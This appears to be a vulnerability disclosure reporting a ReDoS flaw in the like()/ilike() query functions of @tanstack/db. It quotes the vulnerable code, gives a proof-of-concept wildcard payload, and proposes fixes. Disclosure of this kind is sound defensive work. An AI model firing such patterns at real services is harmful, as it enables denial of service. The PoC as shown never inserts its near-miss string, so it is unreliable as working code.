ReDoS (CWE-1333): Bad backtracking in `like()`/`ilike()` query LIKE pattern compilation

[Buggs777]

The problem

The like() and ilike() query builder functions convert SQL LIKE wildcards (% → .*) into a RegExp without bounds. A crafted pattern with many % wildcards creates overlapping .* segments that cause catastrophic backtracking on near-matching inputs.

Vulnerable code

File: packages/db/src/query/compiler/evaluators.ts (lines 632-655)

function evaluateLike(
  value: any,
  pattern: any,
  caseInsensitive: boolean,
): boolean {
  if (typeof value !== `string` || typeof pattern !== `string`) {
    return false
  }

  const searchValue = caseInsensitive ? value.toLowerCase() : value
  const searchPattern = caseInsensitive ? pattern.toLowerCase() : pattern

  // Convert SQL LIKE pattern to regex
  // First escape all regex special chars except % and _
  let regexPattern = searchPattern.replace(/[.*+?^${}()|[\]\\]/g, `\\$&`)

  // Then convert SQL wildcards to regex
  regexPattern = regexPattern.replace(/%/g, `.*`) // % matches any sequence
  regexPattern = regexPattern.replace(/_/g, `.`) // _ matches any single char

  // 's' (dotAll flag) makes '.' match all characters including line terminations
  const regex = new RegExp(`^${regexPattern}$`, 's')
  return regex.test(searchValue)
}

PoC

import { createCollection, createLiveQueryCollection, like } from '@tanstack/db'

const collection = createCollection({
  name: 'items',
  schema: { name: 'string' },
  sync: { type: 'none' },
})

const liveQuery = createLiveQueryCollection({
  source: collection,
  query: (q) => q.where(({ item }) => like(item.name, 'a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a')),
})

// Near-miss: long string that matches most of the pattern but fails at the end
// The 'b' at the end forces the engine into exponential backtracking
const nearMiss = 'a' + 'a'.repeat(50) + 'b'

const start = Date.now()
await liveQuery.refetch()
console.log(`Took ${Date.now() - start}ms`)  // seconds to minutes

Why it's exploitable

• like() / ilike() are part of the public query builder API, any app using TanStack/db can call them
• The pattern string is accepted as StringLike (bare string) with zero validation
• Each % becomes .*, creating N+1 overlapping unbounded quantifier segments
• When tested against a near-miss string (long, matches most of the pattern but fails near the end), the regex engine tries all possible ways to distribute the input across the segments → exponential time

Remediation

Quick fix : limit wildcards in evaluateLike():

const MAX_WILDCARDS = 20
if ((pattern as string).match(/%/g)?.length > MAX_WILDCARDS) {
  throw new Error('LIKE pattern contains too many wildcards')
}

Long-term : replace regex-based LIKE with a manual character-by-character matcher (e.g. KMP-style) for O(n*m) worst-case.

Submitting

Per TanStack's security advisory process, I'd like to submit a GHSA for this. Happy to provide a more detailed report or PoC video if needed.